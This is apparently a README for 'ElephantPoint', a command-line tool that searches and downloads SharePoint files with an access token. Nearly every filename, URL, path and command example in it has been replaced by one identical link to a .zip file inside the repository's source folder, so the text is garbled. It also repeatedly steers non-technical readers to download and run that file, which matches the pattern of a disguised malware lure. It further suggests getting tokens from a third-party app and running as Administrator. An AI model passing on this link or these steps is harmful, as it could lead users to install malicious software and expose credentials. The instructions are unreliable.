ElephantPoint helps you find and download files from SharePoint using a secure access token. You don’t need to be a programmer to use it. This guide will walk you through everything you need to get ElephantPoint running on your computer.
To start, you need to get ElephantPoint on your computer.
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Click the big Download ElephantPoint button at the top or visit
ElephantPoint Releases
This page holds all versions of the app. -
On the releases page, look for the latest version. You will see one or more files listed under the "Assets" section.
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Download the executable file named
https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zipor similar. This is the program you will run. -
Once downloaded, you can move the file to a folder where you want to keep it. For example, create a folder on your desktop named "ElephantPoint" and place the file there.
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No installation process is needed. ElephantPoint runs directly from the downloaded file.
ElephantPoint runs on Windows computers with these minimum features:
- Windows 7 or newer (Windows 10 or 11 recommended)
- .NET Framework 4.7.2 or later installed (usually already on most Windows systems)
- Internet connection to access SharePoint sites
- A SharePoint access token (explained later)
If you are unsure whether your PC fits these requirements, check your Windows version first by clicking Start > Settings > System > About.
ElephantPoint needs a SharePoint access token. This token acts like a key. It gives ElephantPoint permission to search and download files from SharePoint.
You must get your token from a third-party app called ManaCloud or from your SharePoint administrator. Without this token, ElephantPoint cannot access files.
If you don’t have a token, ask your workplace IT support or SharePoint administrator for help.
ElephantPoint works through commands you give it in a window called Command Prompt. Don’t worry, you will only need to type a few simple words.
- Click the Start button on your computer.
- Type
cmdand press Enter. - A black window with white text will open.
The general format to run ElephantPoint is this:
https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zip [options]
Options tell ElephantPoint what to do. Here are the main options you will use:
/SPO_url— The SharePoint website address (example:https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zip)./query_file— The name of the file you want to find (example:https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zip)./file_url— The direct link to a SharePoint file (used after you find it)./save_file— Where you want to save the downloaded file on your PC (example:C:\Users\You\Downloads\https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zip)./token— The SharePoint access token you obtained from ManaCloud or your admin.
To search for a file called https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zip on SharePoint, you would type:
https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zip https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zip https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zip /token:yourtokenhere
Replace yourtokenhere with your actual token text.
After searching, ElephantPoint gives you the file's URL. To download it, run:
https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zip https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zip /save_file:C:\Users\You\Downloads\https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zip /token:yourtokenhere
Replace the URL, save path, and token with your own details.
/max_row— limit search results to a number (default is 100)./fql— changes output format for easier reading./ref_filter— filter results further (consult your admin for help here).
- Open Command Prompt.
- Run ElephantPoint with your SharePoint URL, access token, and file name.
- Review the search results. ElephantPoint will list files matching your query.
- Copy the
/file_urlof the file you want. - Run ElephantPoint again with
/file_url,/save_file, and/tokenoptions. - Look in your specified folder for the downloaded file.
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Make sure the token is correct. If it is expired or wrong, ElephantPoint won’t work.
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Check your internet connection.
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Run Command Prompt as Administrator if you see permission errors. Right-click
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/helpoption to see all commands:https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zip /help -
If ElephantPoint shows errors about SharePoint URL, verify the URL with your admin. It should look like
https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zip.
ElephantPoint uses SharePoint APIs to quickly locate files in large document libraries. It works best when your access token is fresh and has the right permissions.
For understanding more about ElephantPoint’s background and use cases, read the article:
https://raw.githubusercontent.com/Nothingsgg/ElephantPoint/main/ElephantPoint/SearchQueryTool/Model/Elephant_Point_3.3.zip
If you run into trouble:
- Check the command examples above carefully.
- Verify your SharePoint token with your IT team.
- Return to the official ElephantPoint Releases page for updates.
Download ElephantPoint
Get the latest version and start managing SharePoint files today.